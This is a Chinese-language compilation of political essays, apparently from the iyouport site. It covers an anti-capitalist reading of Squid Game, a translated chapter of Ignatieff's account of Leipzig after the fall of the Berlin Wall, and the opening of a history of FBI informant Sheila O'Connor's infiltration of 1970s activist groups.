这种霸权的一部分是通过匿名得到的。例如，像苏珊·柯林斯（Suzanne Collins）的《饥饿游戏》中的类似暴行是作为一种控制机制向大众广播的，而《鱿鱼游戏》是闭门进行的。其含义是，在现实世界中，几乎没有控制的必要。鱿鱼游戏的玩家已经屈服于这个系统，因为他们认为没有其他选择，而贵宾们也从中受益。

在鱿鱼游戏中，匿名的作用是强化霸权。它的目标是保持这样的信念，即："事情这样发生不是因为少数人从中受益，而是因为他们必须这样做；这个世界没有其他的方式可以运作"。当被问及在决赛中他想赌什么时，吉勋正确地回答说："任何东西。如果你想的话，你可以拿走我的一切"。

这句话 —— 对所谓 "公平竞争环境" 的幻想的拒绝 —— 并不代表整个节目中选手们的态度。蒙面的前锋推销的信念是，每场比赛都代表着真正的优胜劣汰，不存在抑制外部世界有价值的成功的偏见。当然，谎言是，选手们不是在互相比赛；他们是在与一个系统进行比赛，而这个系统的胜算对他们有利。

事实上，《鱿鱼游戏》认为，对 "成功" 的幻觉是统治阶级最大的残酷之一。在某种程度上，正是对这些反资本主义论点的创造性阐述 —— 资本主义现实主义、功利主义的幻觉 —— 使《鱿鱼游戏》如此受欢迎。但是，这种流行反过来又为该节目的接收创造了非政治性的条件，在最坏的情况下，它的主题可能被错误地认为是以个人 "生活教训" 的形式被重新灌输、为 "磨练" 服务的。

在许多方面，这就是鱿鱼游戏的核心论据：贫穷或债务等问题越普遍，您就越多地被告知：经历这些问题是你自己的错 —— 你就越是欺骗自己，认为作为个人有能力解决这些问题。在一个仍然被资本主义的神话所迷惑的社会中，现实与乌托邦之间的界限变得越来越模糊。

无论是在剧中还是在现实中，唯一能瞥见的真正的人性流露是发生在被压迫者身上的。因此，当绝望的参与者做出几乎是自杀性的决定时（例如，不杀死一个失败的对手），让观众在该剧中获得了一个微小

的观察窗口，了解到一种不同的、更积极的社会关系类型。有钱人认为这些团结的表现是普通人的疯狂；他们无法理解这些。毕竟他们在贵宾休息室使用的所谓人性化家具已经巧妙地概括出了他们与人的全部关系。

该系列剧的创作者似乎更清楚这个寓言的意义。例如，在一个有说服力的时刻，鱿鱼游戏的玩家们集体投票决定结束游戏，回到他们的日常生活中。然而，他们很快又都回到了游戏中。他们得出结论——真实世界地狱般的状况与游戏里面的情况并没有任何区别。同样地，该剧的观众只需要短暂地离开屏幕，就能确认同样的地狱式原则一直在作用于他们自己的现实。近日的*Kellogg*员工大规模。反抗的工人在暴雨中坚守

最后，也许您会问一个问题：

真的是这样吗，人们不管自己的处境有多绝望，都会有意无意地加入大规模屠杀和野蛮的游戏，希望最后自己可能会出人头地，用一大笔钱解决所有的问题？如果是，这说明导演对人性的看法是什么？

剧情的这一元素往往会破坏该剧集试图传达的更基本的信息，即：尽管人们被迫处于野蛮的环境中，但大多数人都在英勇地战斗，以保持自己的人性，拒绝向这一切的残酷性屈服。

10 月 20 日，韩国至少有 50 万工人 —— 来自建筑、运输、服务和其他行业 —— 在为期一天的总罢工中离职。罢工之后，抗议者在城市中心和农村农田举行大规模示威，最终将在 2022 年 1 月举行全国全民动员。韩国工会联合会 (KCTU) 是韩国最大的工会组织，拥有 110 万成员，正在组织这些动员与韩国城市贫民和农民建立广泛的战线。

这场罢工的 15 项详细要求可以概括为三个基本领域：# 废除 “非正式工作”（兼职、临时或合同工），并将劳动保护扩大到所有工人；

- 在危机时期赋予工人在经济重组决策中的权力；
- 重点产业国有化，教育、住房等基本服务社会化。

与此同时，在美国出现的罢工潮是几十年来最大规模的工人运动，这场运动只是国际上更广泛趋势的一部分。它仍然处于早期阶段，工人在各种社会和文化问题上存在巨大的混乱，但我们完全有理由保持乐观而不是绝望。

《鱿鱼游戏》第一季的结局很有希望。主角似乎决心永远地结束游戏。他将如何去做，仍有待确定。也许导演会把注意力转向工人阶级的奋起抵抗以寻求灵感。〇

Why has Squid Game resonated with a global audience?

Half a Million South Korean Workers Walk Off Jobs in General Strike

Why You’re Watching Squid Game

原文

柏林墙倒了吗？（1）：五味杂陈的卡巴莱 - iyouport

免费书和纪录片社会反抗和思考

【2020年6月4日存档】一群人民，一种语言，一个民族，然而却经历了45年不同的国度之后，几乎无法认识彼此。

> *“ one people, one language, one nation, yet, after forty-five years in different states, barely able to recognize each other.”*

我们去年介绍过一本书，《BLOOD AND BELONGING》（☜这里是下载链接），简介如下图：

有读者对这本书感兴趣，尤其是是对德国的那一章 —— 关于柏林墙之后的德国。于是我们翻译一下。

By：Michael Ignatieff

实验

「图」

一对双胞胎，在出生时被分开，一个送到富裕、宽容的家庭，而一个则由贫穷、严厉的家庭收养。

45年后，富有的兄弟找到了贫穷的兄弟，邀请他去参观自己在郊外的别墅。

一开始，他们为互相陪伴、为似乎重新找到失去的另一半而快乐欢欣。然而，过了个把小时，他们开始发现彼此的陪伴令人烦恼。

穷兄弟被富兄弟的喧闹和咄咄逼人的笑声所折磨，富兄弟则为穷兄弟的顺从和充满怨恨的沉默而恼怒。

对于父母为什么抛弃他们，当富兄弟诉说他那个版本的故事时，被告知另一个不同版本故事的穷兄弟生气地予以否认。

很快，他们沉默无言地坐着，都在想，如果他们从未遇到，也许结果会更好些。除了碰巧拥有一对粗心大意的父母之外，他们俩似乎毫无共同之处。

然后，富兄弟的妻子出现在这个郊外别墅的草坪上，给她贫穷的小叔子带来了饮料。穷兄弟看到嫂子和他自己的妻子一样有着红色的头发，有着同样对高跟鞋的偏好 —— 可以展示涂得红亮的脚趾甲。

随后他还注意到，虽然他自己的院子比这个别墅花园要小得多，但布景几乎完全一样；更让人迷惑的是，他注意到他的富兄弟躺在一把草地椅上喝啤酒，稀疏的沙黄色头发分开的方式和自己一模一样，从左耳掠到右边。

最后，当富兄弟的儿子出来借车钥匙时，穷兄弟再次发现，自己和富兄弟为各自的儿子起了同样的名字……

- ○ ■ ■ 设想一个民族，把它分成两个相隔的国家；确保这两个国家实施对立的哲学和社会组织形式。努力确保这个民族的居民被一再告知：这个实验将是永久性的。

在两个国家之间竖立一道墙，尽可能防止他们之间有任何交流。45年后，移除这道墙，告诉人们实验结束，因而他们再次成为一个单一民族。他们还会是一个民族吗？

设计这样一个实验是想回答一个问题：是民族塑造国家，还是国家塑造民族？

这个问题类似于环境和遗传在个人塑造中的相对重要性。

应当有可能询问接受实验的人们 —— 就像问出生时被分开的双胞胎一样 —— 他们是否还能互相认得兄弟？他们应当能够告诉你答案。

实验应该能得出结论。

1989年11月，德国电影导演 Wim Wenders 正在澳大利亚荒漠中一个叫火鸡溪（Turkey Creek）的地方，消息传来，说柏林墙倒了。

一开始他不相信这个消息，随之感觉很焦虑。是坦克推到的吗？他觉

得一切都是不真实的。必须得到一些这事的确发生了的证据。做为一名导演，他必须看到照片。

火鸡溪的飞行医生正好有一台传真机，Wenders 让柏林的一个朋友把所有能够剪下来的照片都发给他了。

很快，照片开始在传真机上滚印出来，卷曲在导演的手上。在如此遥远的澳大利亚腹地，这些照片显得更加有意义。它们使他想起了自己一个月前刚去世的父亲错失了这样一个似乎让德国两代人和解的时刻。

电影导演记得，当时他落泪了，长久以来从未有过的。他记得自己当时想："出错的世界修补好了，出错的我的内心修补好了"。

> 所有这些站在墙头的让人落泪的面容，它们如此令人难忘。它们似乎比我们的脸更为真实，它们看上去就像*40*年代、*50*年代电影里的脸庞。为什么更为真实？我真的不知道。苦难让人们变得真实。也许这就是为什么。这些人经历了我们未曾经历的，是这些让他们更为真实。 —— ***Volker Schlöndorff*** 德国电影导演***, 1989***

在 "冷战" 的所有年月里。在其后所有充斥着犬儒和苦涩的年月里，只有一个毫无顾忌的快乐之夜：柏林墙倒下的时候。人们穿梭来往，不敢相信这一切，怀疑自己是不是在做梦，却又发现不是做梦。

在欧洲战后的整个历史上，只有这样一个纯粹快乐的夜晚。只有一个。

自那之后，一切都未能如我们所愿，我们开始重写自己的情感历史。我们几乎忘却了那个夜晚。如果它能重新回到记忆中，我们问自己：为什么我们会用仅仅用一个夜晚的 *幻象* 来款待自己？为什么我们不论如何都要拥有一丝希望？我们多么愚蠢 ……

相册

「图」

1989年的德国革命以莱比锡为中心，这个城市有200万人口，位于德意志民主共和国（DDR）东南角的萨克森州。

那里举行了规模最大的反旧政权游行。游行静默而有序，从晚上开始，每个人都结束工作之后。成千上万的人集合起来，占领了整条整条的街道，向卡尔马克思广场和歌剧院前进。

一开始，在1989年9月末的时候，标语牌上只是要求“媒体自由”、“签证自由”。也有些胆小的标牌上写着“戈比帮助我们”。（戈比 Gorbi 是对当时苏共总书记戈尔巴乔夫的昵称，他在两德统一中起到了决定性的作用）

9月末，当局用高压水龙头、大规模军警队伍、盾牌、警棍、警犬对付游行。游行者被抓起来，双手扭曲着反绑在身后，扔进人民警察（Volkspolizei）卡车的后备箱里。

但游行继续。口号开始逐渐超出圣尼古拉教堂的路德派秘密反抗中形成的谨慎要求。

到1989年10月中旬，新的横幅上写着“我们要改革！”“我们就是人民！”

分化人们、让每个人感觉到自己是孤立无援的，这就是当局维系自身生存的主要手段，而这些游行成为了集体之自我发现的一种演习。

一夜又一夜，人群聚集起来，人们四处张望，看着从街道一边延伸到另一边有多少像他们一样的人，他们尽可能地向后和向前看。最后会有领导人准备冒点险：莱比锡歌剧院的导演、一些路德派的牧师、当地表演卡巴来的喜剧演员。

其他城市效仿莱比锡的例子，市民们也走上了街头。旧政权哄骗、引诱、咆哮、威吓，但一切似乎都不再管用。

服从和逆来顺受神秘地消失了。当局在电视上呼吁“维持秩序”之后，更多的标语牌出现在人群中，上面写着：“不要演讲！”“不要唧唧哇哇！”“不要粉饰太平！”“该动手术了！”

10月下着雨，但人们继续在伞下游行。他们举行守夜，要求改革，把数千支蜡烛放置在教堂的墙上。蜡滴下来汇集在一起，融入人行道上半透明的池子里。

同时，摄影师们注意到，警察脸上的表情出现了变化。他们在巡逻车前面摆出各种姿势拍照，警棍被塞进腰带里，而且随着时间一天天过去，越来越不清楚谁在负责。

在莱比锡周围的学校。老师告诉学生们“不要去参加游行”，当学生们不管不顾去参加的时候，他们发现，自己的老师与他们并肩游行。

第二天早上，他们会在课堂上互相挤挤眼。

到10月末，卡尔马克思广场上的标语牌写道：“德意志民主共和国属于人民，不属于党！”

然后，当柏林墙在11月9日倒下时，示威者们极为惊讶地发现，他们带来了一场革命，而没有牺牲掉任何一条性命。

这场革命的象征非常恰如其分，是我们在保加利亚和罗马尼亚的人群中也见到过的怪异旗帜：锤子和镰刀被剪掉的那个旗帜，就像人们在床单上剪了两个洞，给孩子做了一件鬼怪服。

一个国旗上有洞的国家是一个不再知道自己是什么的国家。一群人挥舞着这个旗帜，他们真的希望仍然保留红色？其他人仅仅是不知道还有什么别的东西能让自己挥舞的。

但是，也有另一些人开始挥舞另一个德国的旗帜 —— 柏林墙对面的旗帜。

柏林墙倒掉一个月后，在卡尔马克思广场上出现了一个新的标语。首先是写在一个潦草的牌子上，然后是几十个牌子，再然后，是成千上万个牌子：***“Deutschland, einig Vaterland”***（德意志，一个祖国）。在六个星期的时间里，“我们就是人民”的呼喊变成了圣歌：“我们是一个民族！”

德意志，一个祖国 …… 现在看，这个标语确实神秘。一个祖国。这到底意味着什么？它是一个事实的宣告吗？一种愿望的表达？还是一个令人困惑的难题？**……**

在莱比锡老市政厅下面的拱廊，有一个商店，你可以在这里买到一个相册，它记录了从1989年9月到12月那段时间的几乎每一天。

在相册中，最令人难忘的面庞是那些在人群中盯着摄像机看的人们。在每一张照片中，他们的脸都布满了恐惧和紧张。恐惧使他们的微笑半途凝结，让他们说的话停留在嘴边，令他们的反抗姿态折断双翼。

恐惧不仅是担忧被捕，不仅是怀疑摄影师正在为警察工作。它是历史性的恐惧，是人们也许曾经在**1848**年的欧洲兵营中看到的那种恐惧，是一个民族将要抬脚步入未知并且不知道接下来会发生什么的恐惧。

如果所有的革命都开始于迈入未知的那一步，你在这些面庞上看到的恐惧会让人感觉奇怪，他们如何敢于迈出第一步？

然而，当你翻动相册，当游行进入第二周、第三周、第四周时，你可以看到那种恐惧开始慢慢消散；面庞开始放松，姿态开始轻盈，笑声变得洪亮。

到了11月，人们不再担心自己将走向何方。现在他们开始相信历史正在与他们一起前进。成千上万的莱比锡人涌上大街，进入卡尔马克思广场，对着摄像机欢笑挥手。

卡尔马克思广场

「图」

一辆电车把我放在了卡尔马克思广场。道路清扫车在排水沟上扫过。雨水抽打在空荡荡的喷泉里的青铜马雕像上。我周围只有空无一人的雨水扫过的人行道。

在关于这个广场的旧纪录片中，这儿有更多的喷泉，有煤气灯，和一个巨大的带有科林斯式柱廊的歌剧院，柱廊下面可以停靠四轮马车。

在纪录片中，戴呢帽、腋下夹着报纸的人们正是在我站的这个电车站上上下下，有一个小姑娘卖紫罗兰，有一个手风琴演奏师，一个大胡子的乞丐在向路人伸手乞讨，一个男人站在手推车后面，拿着报纸折成的装满葵花籽的圆筒。你几乎可以听到女人们的长裙拖在人行道上发出的沙沙声。那是1913年4月。

莱比锡的书店出售一本书，是莱比锡人在元年 —— 1945年 —— 的照片。盟军已经轰炸了整个城市，数英亩的碎石堆积在卡尔马克思广场的每一个角落。

照片上，清理广场残渣的 “碎石女人” 在工作间隙凝视着你，她们把砖块整齐地拍成一排排。她们的围裙是破旧的，头发上有厚厚的灰尘，穿着工装裤和工作靴。她们的耳朵后面夹着卷烟，粗糙的手握紧砖块和锤子。

她们凝望着未来，仿佛可以比我们看得更清楚。也许就是在那个时刻 —— 在刚刚开始的零年，工人国家真的像是一个美好的梦想。

而现在看来，似乎令人难以相信这儿曾一度有过梦想，每个人都曾一

度相信过它。

早在1953年，工人国家就派出坦克对付柏林的工人。即使在那个时候，这个国家实际上什么样，也是显而易见的。

但碎石女人和退伍老兵想要相信点什么。即使他们的领导人不相信，他们仍坚持到底。因为，要轻易地怀疑你自己的整个人生都是在虚无中度过的，那也太过痛苦，太过荒谬了。

不相信的人和醒悟过来的人离开了这里，去往西方，他们的离去悄无声息。大部分留下的人不再有幻想，他们安慰自己，如果民主德国很糟糕，那么波兰会更糟糕，匈牙利会特别糟糕，俄国会无比糟糕 ……

政权的合法性依赖于负面比较带来的安慰。

在60年代，民主德国当局重建了广场，用的是粗野的混凝土，非常符合他们的政治风格。它炸毁了广场一角有300年历史的巴洛克式教堂，在废墟上建造了一座30层高的钢铁摩天大楼。

卡尔马克思广场仍然作为一个已消失的政权心脏地带的公共荒漠保存下来了。它是对民主德国加之于公共空间的恐惧和人类自发性的纪念碑。

卖香肠的小贩、兜售小册子的人、艺术家、妓女、反叛少年 …… 如果给他们半点机会，他们就可以把它推翻。

> *In time, the division of Germany came to seem eternal. Indeed, two generations grew up on either side of the Wall who actually feared what their nation might become if it were ever allowed to unite. The dream of a united Germany was not merely renounced; it was officially anathematized by the Ostpolitik pursued by both sides.*

时间的冰河作用缓慢地创造了两个民族、两个国家。当然，有柏林墙，你还是可以在电视屏幕上看到西德的照片。但是到**80**年代末，如果你没有离开，那么，你已经把你的孪生兄弟/姐妹的记忆从你的脑海中抠出去了。

一种必要的巨型架构 —— 帝国式划分欧洲 —— 使这种遗忘相当容易。

德国的分裂看上去将会永远持续。

事实上，在墙的两边有两代人成长起来，他们真的担忧，如果被许可统一，他们的民族将会如何。

一个统一德国的梦想不只是被抛弃了，它还受到双方所追求的东方政策（Ostpolitik）的正式谴责。（“东方政策”是西德前总理维利勃兰特在60年代提出的对东欧保持正常关系的政策）

所以，当帝国必需的伟大架构开始在他们头顶颤抖、摇晃，当莱比锡的人们占领街头，他们从未有一刻想到，他们将最终打倒一个国家，并带来一个民族的统一。他们从未想到，如果他们全部一起挤靠那扇被锁住的门，它也许会忽然打开，让他们滚入一个陌生的新世界……

1989年之后，卡尔马克思广场恢复了1914年之前的旧名 —— 奥古斯都广场。

梅赛德斯奔驰冷蓝色的霓虹灯光环绕漂浮在对面的保险大厦上。甚至有些方案想炸毁这个大楼，按照老照片和平面图纸，用石头一块块重砌已经消失的巴洛克式教堂。

但某种不怀好意的幽灵继续使这些方案受到轻视。

莱比锡的其他地方都被扔到了建筑商手里，而卡尔马克思广场，仍然顽固地保持不变。

在改造这个荒漠的任务面前，历史记忆仿佛退缩了。

在通往莱比锡大学建筑的入口处，一群热烈工人的浮雕中间，卡尔马克思乱蓬蓬犹如牛头一般的巨大青铜头像继续俯视着广场。某种程度上他仍是这个风掠之地的天才领袖。当游行者们用歌唱和横幅占领这里的时候，他收缩了自己的权威。

现在，这里又变成了荒漠，好像他的灵魂又收回了这个地方。*Arthur Leipzig | Rain*

> “And now the people who made it don’t have any power. But they are still there—the shop assistant, the librarian, the professor. They still want what I believe in”

卡巴莱

「图」

“它是伟大的，它是一场革命。有一个月的时间，革命是掌握在莱比锡人的手里。然后它结束了。而现在，制造革命的人们不拥有任何权力。但他们仍然在那儿：商店售货员、图书馆员、教授。他们仍旧想要我所信仰的东西”。

Böhnke 先生停顿了一下，看上去有点尴尬，厚实的手擦了擦前额，“谈到你信仰的东西，现在有点令人悲哀。但我说的是，一个为了人民的德意志”。

从卡尔马克思广场出发，沿着一条狭窄的鹅卵石街道，在一个卡巴莱地下室的酒吧里，我找到了 Gunther Böhnke，他在酒吧后部的一个圆桌上喝啤酒。

Böhnke 先生是 “学院派” 卡巴莱的明显，他跟我讲 “冷战” 时代东欧地区有板有眼、精确的英语。那种还没有受过本土接触影响的英语，那是完全从磁带里学的英语。

白天，他在一家出版公司翻译儿童书籍；晚上，他是一位卡巴莱艺术家。过去，卡巴莱艺术家是威权国家持有执照的小丑。

在15米深的地下，在小小的舞台上，褪色的灰丝绒幕布之前，卡巴莱是窃窃私语的地方，是不可说的东西可以说出来的地方。

过去，剧院的票会提前10年卖光，你没看错。一个卡巴莱艺术家可以把他自己分到的票当成钱用：有多少座位，从屠夫手里就可以换多少香肠。

现在，票价太贵，当地人承受不起，座位都是被成群的西德人所占据。他们来到这里，为那些嘲笑他们自己的笑话发出不自然的笑声。

Böhnke 先生赋予 “东德佬 Ossi” 以人性和讽刺性。他个头矮小，秃头，穿一件不合身的花呢夹克，系一条超大的东方式领带（East-bloc tie）。他的肚子凸起，将衬衫纽扣崩得紧紧的，忧郁的脸上交织着顺从和精明。

在舞台上，他的固定套路是关于一个贫穷、呆傻的东德人寻找工作，一个西德的人事主管面试他。东德佬随口说他从未入过党。认为这是对方想要的，却只听西德人回复：“你有什么毛病吗？你的积极性在哪里？”

他所有笑话都像这样，辛酸地反映一种本不应该存在的分歧：一群人民，一种语言，一个民族，然而却经历了45年不同的国度之后，几乎无法认识彼此。

“他们都是好人”。莱比锡最古老餐馆的西德新店主在晚餐结束后、卡巴莱开始之前对我说。

“好人。只不过，他们不知道该怎么工作。我跟你发誓。我必须一切从头开始。开始教他们（东德人）如何准时上班，如何正确处理客人的账单，让他们的手指不要伸进汤里。我不是在做餐馆生意，我简直是一个社会工作者……”

他谈到他的德国同胞带有的那种深情的傲慢，与英国殖民管理者在谈及 **Tanganyikans** 时惯用的那种语气，如出一辙。

> *“Unification has not been the disquieting reunion of two lost twins on a suburban lawn but a colonial occupation. ”*

统一不是失散的双胞胎在郊区草坪上揣揣不安的重逢，而是一种殖民占领。

当你在莱比锡醒来，听到的声音是老建筑的内脏 —— 机床、石膏、钉子、窗框、木板 —— 被扔进长长的带回响的塑料斜槽里，滚进建筑商的废料桶的声音。

建筑物的正面被保留下来 —— 必须能把贝纳通的牌子钉在上面 —— 但城市的内脏已经被去除了。

Böhnke 先生认为，当一个社会体制崩溃时，我们只能预计到，那些主要是体制受害者的人们会为体制的失败而受到谴责。世界就是这样，事实上拖垮了政权的人们，现在被当作爱发牢骚的乞丐给打发走了 —— 是被那些曾经坐在电视机前为他们的公民勇气鼓掌的西德人打发走的。

正如德国作家 Peter Schneider 所说，柏林墙是面镜子。西德人问道：镜子，墙上的镜子，谁是所有人里最公正的？镜子一成不变地回答：是你。

45年的时间，一个民族分裂为两个国家，双方都必须塑造对方的负面形象。为什么只因墙倒了，这种行为就应该结束呢？为什么只因每个人现在生活在同一个国家，这种行为就应该结束呢 ……

但是，在这个镜子的游戏里，有什么东西已经发生了改变。

革命之前，在西德，负面形象是民主德国这个国家自身和其令人憎恶的制度。而现在，负面形象是民族，是人民本身；他们的抱怨和消极。

现在那个国家已经消失，而人民本身 —— 那个民族 —— 为国家的曾经存在受到责备。

说来奇怪，这种责备经常来自东德一方。前东德人表达自己对从前在西德混得好的兄弟姐妹的憎恶，并不少见。

因此，前东德小说家 Monika Maron 说："我最不喜欢我的前东德同胞们的一点是，他们认为这个世界亏欠他们，尤其是亏欠他们的尊严。他们似乎忘了，直到几年前，他们还没有真正摸到那种尊严"。

东德精神病学家 Hans Joachim Maatz 写了一本书，告诉西德公众，45年的极权主义制造了一种东德的人格结构，特征为 "情感被压抑，无安全感，潜在攻击性"。他说：

在那个社会中，一个人的基本人权 —— 保持自己、有自己意见、作为个体被理解和接受的权利 —— 毫无保障 …… 在这个体制中能够安全生存的，只有那些调整和牺牲他们自己的自发活力、他们的诚实、他们的批判能力、顺从生活的人。

像某些陈腐的心理学形式一样，这只对某些人来说是正确的。那么，那些不安的、神经质的、顺从的个体 —— 像 **Böhnke** 先生那样的人 —— 是如何找到拖垮整个政权的勇气呢？

东德的负面形象当然迎合西德人的自恋情结，但它使统一的历史变得难以理解。

Böhnke 先生对于1989年以来国家命运的悲喜剧淡然处之："墙倒了之后，我们的人民去西德，他们带回来难以置信的故事。在那里，你可以在1月份就买到新鲜的莴苣和番茄，你能想象吗？现在这里也有超市了，我们也能做到了。只是我们买不起，而且房租已经涨了五倍"。

他耸耸肩，笑了："当我们10月在莱比锡的雨中游行时，我们想要的只是多一点民主，多一点尊重。没人想要统一"。

统一了。

也没人想要卡巴莱消亡，但现在，Böhnke 先生说，你可以在德国电视上看到一切。那儿的讽刺更为尖锐，时效更为迅速。现在谁还想看卡巴莱呢？

Böhnke 先生曾经把他的演出带到西德，但效果并不好。它太本地化、太萨克森化、太乡土了。

他并不想回到旧时代，但环顾酒吧 —— 他度过一生中最好时光的地方 —— 烟熏过的黑色墙壁，看到从前演出的海报，看到桌子上方的吊灯（老斯塔西经常在这里藏麦克风：“喂喂鲍里斯，你听得到吗？我的声音够大吗？”）；很显然，藏有异议文化的玻璃罐 —— 让他从前的生活产生意义，让他从前可以用卡巴莱的票子从屠夫那里换香肠的日子 —— 所有这一切被 “统一” 掉了。〇

—— 未完待续 ——

原文

过去和现在的线人：政治渗透是如何操作的？（1）- iyouport

社会反抗和思考维稳面面观

【2020年8月19日存档】这篇文章所要讲述的并非是个人政治立场 —— 您是否认同反抗者的立场完全不重要；本文希望说明的是，这种渗透民间政治活动的行为由来已久，且始终持续存在。活动家和反抗者需要对此历史有所了解，以作为今后的行动策划中不得不考虑到的事项 ……

(Photo: blacknight; Edited: JR / TO)

*1970*年代联邦调查局线人 *Sheila O'Connor* 的故事曝光，为当今的进步组织提供了经验教训，关于，国家维稳机构的渗透究竟是个什么样 ……

1972年，Sheila O'Connor 是一个忙碌的女人。她在全国律师协会华盛顿特区的办公室工作。业余时间她参加了由青年国际党（YIPPIES！）组织的示威游行，参加了反越战士兵组织的越南退伍军人联合会。

她还有另一份工作：她是联邦调查局的带薪线人，代号为 "牧师"。

在过去的几个月中，有关 Richard Aoki 的说法存在一定的争议，Richard Aoki 是日裔美国人60年代的激进活动家，黑豹党的秘密成员，也是伯克利加州大学种族研究斗争的主要力量 —— 事实上他是联邦调查局的长期线人。

暂时将 Aoki 的批评者和捍卫者的论点放在一起，就可以看清楚的一点是：除了穿制服的执法人员之外，人们对告密者的运作方式知之甚少。

这是有充分理由的。 Trevor Griffey 在写下有关 Aoki 的争议时指出："联邦调查局很少发布其任何线人的档案。" 虽然在 Aoki 案中是

例外，他的一些文件已被公开，但是被公开的部分仍然被大量编辑过，提出的问题几乎与它们能回答的问题一样多。

Sheila O'Connor Rees 则不同：她的那些文件几乎没有被编辑过，因此对于理解这些内幕工作来说具有巨大的价值。

Sheila 和 John Rees

「图」

Sheila O'Connor Rees 是两名自由职业间谍之一。在FBI的编码中，她是WF5728-PSI（潜在安全消息源），以及她的丈夫，英国国民/新闻工作者/间谍 John Herbert Rees 编码为 WF3796-PSI。

- 关于政府的间谍行为归档：列表-1
- "维稳面面观" 列表-5

在这两个人中，John Rees 更加为人所知，他创办了一份名为《信息文摘》的日志。该日志伪装成有关反战运动和激进活动家信息的交换所 —— 并已提供给地方警察机构。

尽管 Rees 当时不是收钱办事的 FBI 线人，但他是 DC 地铁警察的收钱办事的线人，并且在许多方面得到了他们的资助，于**1971**年在华盛顿特区建立了红房子书店。当时的目的是让 **Rees** 与那些想要针对的激进活动家的警察官员保持联系。

（*Valentine, Paul. F. "John Rees: His Newsletter Supplied Data on Antiwar Activists" Washington Post. June 27, 1976.*）

Sheila Rees 取了自己娘家的姓氏 O'Connor，并利用她在DC维权人士社区的联系成为了FBI的线人。

如一份文件所述，O'Connor "了解并能够提供很多信息，关于革命联盟，美中友好协会、全国律师协会、基督教青年会/社会主义工人党、青年国际组织，以及其他许多党派的内幕消息"。

（*Memo to Director, FBI, From SAC WFO, 8/24/73. From the National Lawyers Guild records, TAM.191, Box 205. Tamiment Collection, New York University. All memos and reports referenced below are contained in TAM.191, Box 205*）

就像我们将要看到的那样，John Rees 在"信息文摘"上的工作导致了

Sheila 作为有偿的联邦调查局线人的工作被终止，但这是将来的事。首先，她已经花费大量的时间和精力作为华盛顿特区革命联盟的成员 —— 渗透。

革命联盟

「图」

今天，除了某些激进派圈子和60年代退伍军人的社区之外，革命联盟（RU）已经鲜为人知。然而，在70年代初，这是FBI的主要针对目标。

在1972年的《纽约时报》上是以一种令人窒息的描述来形容人们如何看待该组织的："革命联盟，由毛主义团体组成的联盟，目前在10个州开展活动，并致力于摧毁政府以建立共产主义社会。" FBI认为RU是一种威胁。

（*New York Times, "Maoist Drive in the U.S. Reported by the FBI." December 12, 1972.*）

在政治活动家和伯克利自由言论运动的资深人士 Steve Hamilton 和 Robert Avakian 的倡导下，RU于1968年和1969年在海湾地区开始运营。

斯坦福大学英语教授 Bruce Franklin、还有他的妻子 Jane Franklin、以及前进步劳工党成员 Leibel Bergman 也与他们一起工作。

到70年代初，这个主要由刚毕业的大学生和研究生组成的团体已成为该国最具影响力的组织，其成员开始融入各种工人阶级的社区和行业，并参与较大的社会运动。

在1969年和1970年期间，RU组织被两名基督教传教士 Betty Sue 和 Laurence Goff 的夫妻团队渗透，他们是一对年轻的激进工人阶级夫妇。

Goffs 暗示自己能够参加RU中央委员会会议。如果组织中没有分裂，那么这对夫妇可能会继续深入，并与少数派一起遣散他们。这个被称为 Venceremos 的派别主张在美国进行某种形式的城市游击战。相反，RU主张派出干部组织工人阶级，作为为未来革命做准备的战略途径。

（*US House of Representatives Committee on Internal Security. America's Maoists: The Revolutionary Union and the Venceremos Organization. Washington, DC. US Govt. Printing Office, 1972, 27.*）

事实证明，Venceremos 的生命力有限，并在几年后就褪色了。

Goffs 夫妇在后来的国会作证中提供了一种相当令人寒心的评估，即 Venceremos 不会持续，因为 "在该组织展示出长期威胁之前，其成员就将被逮捕或被杀害。"

相反：

> *Goffs* 认为，在这两个组织中，*RU*的危险性要大得多，这是因为*RU*制定了长期的革命计划，其运营具有高度隐秘性，并且集中精力在工人之间建立了 "群众路线"。

（*Op. cit. 171–172.*）

到70年代初，国内情报机构已经从战略上开始瞄准 "重型" 激进分子，例如RU，该组织没有走 Weathermen 和其他城市游击队的路线 —— 其成员当时在很大程度上已入狱、被迫藏匿和躲藏，或者失效。

（*Hume, Ellen. "The 'heavy radicals': The intellectual cadres plant ideas—not bombs; terrorists considered less important to the cause." Boston Globe, September 27, 1975.*）

相反，尽管**RU**组织既不违法也没有控从事非法活动，但是，它却是不断上升的和间谍机构的关键目标。

因此，当革命联盟希望扩大规模并在华盛顿特区建立一个分会时，联邦调查局就很想要渗透进去。实际上，到1973年，他们已经建立了一种做到这一点的学说：

> 总部的经验已确定，让资源和信息提供者进行*RU*渗透的最佳时间是在新的研究小组和集体的发展初期。*WFO*

（*Letter to WFO et al, Re: Revolutionary Union, 2/3/1974.*）

这就是 Sheila O'Connor Rees 自愿做的。我们之所以能知道这一点，是因为在加入**RU**研究小组之前，她曾在全国律师协会担任秘书，实

际上是在做间谍工作。

对她来说不幸的是，NLG于1977年因这种监视方式起诉了 FBI。

2007年，经过多年的法律争执，法院裁定应将监视文件移交给行会，并在纽约大学（宝贵的）Tamiment 图书馆中存放一份副本。

一方面，O’Connor文件是官僚主义和记事本的汇总。有各种备忘录记录了她收钱办事的事实（平均每月**150**美元），并证明这些付款是合理的。还记录了对她进行的背景调查，并包括了她作为线人发展的进度报告。

不过，文件的核心是简短的描述性注释（由其处理者键入），说明了 O’Connor 正在学习的内容和工作目标：

> *Source* 已成为 *DCRU* 的正式成员，除了提供 *DCRU* 内部活动的每周摘要外，*Source* 还将查找任何有关 *RU* “秘密成员” 的信息作为她的目标之一。

（*Informant Report—undated.*）

文件还特别概述了她应该如何从事线人工作的要求。规定她 “不要保留消息来源人报告的副本，以第三方的形式提交这些报告，不要亲自与办公室联系，并在与办公室进行电话联系时使用收费电话。”

（*To Director, FBI From SAC WFO, 11/7/1973.*）

尽管联邦调查局着眼于自身的安全性，但也特别着重于处理（和破坏）其渗透的目标组织的安全性。

其中一份报告描述了该组织如何 “设计电话代码，以防止警察或其他任何人窃听 DCRU 成员的电话。”

（*Report 5/23/74.*）

另一份文件则描述了其中一个成员如何通过 “鼓励在不同的地点开会” 来谈论安全性需求：

> 首先，公开，*RU*内部和外部的每个人都知道该人是 *RU*成员；第二，封闭，该成员仅被其他成员所了解；第三，保密，只有某些*RU*成员认识此人。

（*Report 3/28/1974.*）

